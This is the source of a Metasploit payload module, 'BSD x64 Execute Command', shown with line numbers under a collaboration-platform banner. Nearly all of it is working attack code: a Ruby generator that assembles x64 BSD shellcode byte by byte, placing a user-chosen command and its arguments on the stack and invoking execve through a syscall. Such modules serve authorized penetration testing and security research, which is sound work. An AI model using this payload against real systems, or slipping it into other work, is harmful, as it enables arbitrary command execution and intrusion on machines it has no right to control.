Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
###
7
#
8
# Exec
9
# ----
10
#
11
# Executes an arbitrary command.
12
#
13
###
14
module MetasploitModule
15

16
  CachedSize = 31
17

18
  include Msf::Payload::Single
19
  include Msf::Payload::Bsd
20

21
  def initialize(info = {})
22
    super(merge_info(info,
23
      'Name'          => 'BSD x64 Execute Command',
24
      'Description'   => 'Execute an arbitrary command',
25
      'Author'        => 'joev',
26
      'License'       => MSF_LICENSE,
27
      'Platform'      => 'bsd',
28
      'Arch'          => ARCH_X64))
29

30
    # Register exec options
31
    register_options(
32
      [
33
        OptString.new('CMD',  [ true,  "The command string to execute" ]),
34
      ])
35
  end
36

37
  #
38
  # Dynamically builds the exec payload based on the user's options.
39
  #
40
  def generate(opts={})
41
    cmd_str = datastore['CMD'] || ''
42
    # Split the cmd string into arg chunks
43
    cmd_parts = Shellwords.shellsplit(cmd_str)
44
    cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
45
    arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
46
    call = "\xe8" + [arg_str.length].pack('V')
47
    payload =
48
      "\x48\x31\xd2"+                                 # xor rdx, rdx
49
      call +                                          # call CMD.len
50
      arg_str  +                                      # CMD
51
      "\x5f" +                                        # pop rdi
52
      if cmd_parts.length > 1
53
        "\x48\x89\xf9" +                            # mov rcx, rdi
54
        "\x52" +                                    # push rdx (null)
55
        # for each arg, push its current memory location on to the stack
56
        cmd_parts[1..-1].each_with_index.map do |arg, idx|
57
          "\x48\x81\xc1" +                        # add rcx + ...
58
          [cmd_parts[idx].length+1].pack('V') +   #
59
          "\x51"                                  # push rcx (build str array)
60
        end.join
61
      else
62
        "\x52"                                      # push rdx (null)
63
      end +
64
      "\x57"+                                         # push rdi
65
      "\x48\x89\xe6"+                                 # mov rsi, rsp
66
      "\x48\x31\xc0"+                                 # xor rax, rax
67
      "\x48\x83\xc8\x3b" +                            # or rax, 0x3b (execve)
68
      "\x0f\x05"                                      # syscall
69
  end
70
end
71

72